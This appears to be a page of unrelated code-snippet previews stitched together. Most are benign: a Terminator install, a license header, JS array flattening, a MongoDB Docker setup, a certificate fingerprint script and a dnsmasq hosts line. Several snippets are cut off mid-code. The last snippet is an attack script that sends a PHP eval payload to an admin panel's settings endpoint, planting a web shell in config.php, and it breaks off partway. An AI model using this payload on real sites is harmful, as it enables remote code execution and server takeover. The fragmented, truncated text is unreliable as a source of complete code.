sudo add-apt-repository ppa:gnome-terminator
sudo apt-get update
sudo apt-get install terminator
Terminator should be setup as default now. Restart your terminal (shortcut: "Ctrl+Alt+T").
#!/bin/sh -e | |
# Licensed under the Apache License, Version 2.0 (the "License"); you may not | |
# use this file except in compliance with the License. You may obtain a copy of | |
# the License at | |
# | |
# http://www.apache.org/licenses/LICENSE-2.0 | |
# | |
# Unless required by applicable law or agreed to in writing, software | |
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT |
// get all items of all players | |
/* WITHOUT ES6 spread operator */ | |
const items = []; | |
players.forEach((player) => { | |
player.forEach((item) => { | |
items.push(item); | |
}); | |
}); | |
# Create a container from the mongo image, | |
# run is as a daemon (-d), expose the port 27017 (-p), | |
# set it to auto start (--restart) | |
# and with mongo authentication (--auth) | |
# Image used is https://hub.docker.com/_/mongo/ | |
docker pull mongo | |
docker run --name YOURCONTAINERNAME --restart=always -d -p 27017:27017 mongo mongod --auth | |
# Using the mongo "localhost exception" (https://docs.mongodb.org/v3.0/core/security-users/#localhost-exception) | |
# add a root user |
from OpenSSL.crypto import load_certificate, FILETYPE_PEM | |
cert_file_string = open("esx.crt", "rb").read() | |
cert = load_certificate(FILETYPE_PEM, cert_file_string) | |
sha1_fingerprint = cert.digest("sha1") | |
print sha1_fingerprint |
sudo sh -c "echo 'addn-hosts=/etc/hosts' > /etc/NetworkManager/dnsmasq.d/etc-hosts" |
/* | |
* Get the good old favorite ★ back. | |
* | |
* Copy the few lines below into the console of your browser and press enter. | |
* Chrome: https://developer.chrome.com/devtools#access | |
* Firefox: https://developer.mozilla.org/en-US/docs/Tools/Web_Console/Opening_the_Web_Console | |
*/ | |
// updated version (this also works for new pulled tweets): | |
var style = document.createElement('style'); |
These are the Kickstarter Engineering and Data role definitions for both teams.
import requests | |
# Add URL | |
# Set a PHP payload | |
# Go to http://website/config.php | |
URL = 'http://localhost/Panel/applysettings.php' | |
PAYLOAD = "(isset($_GET['tapz'])) ? eval($_GET['tapz']) : '" | |
data = { |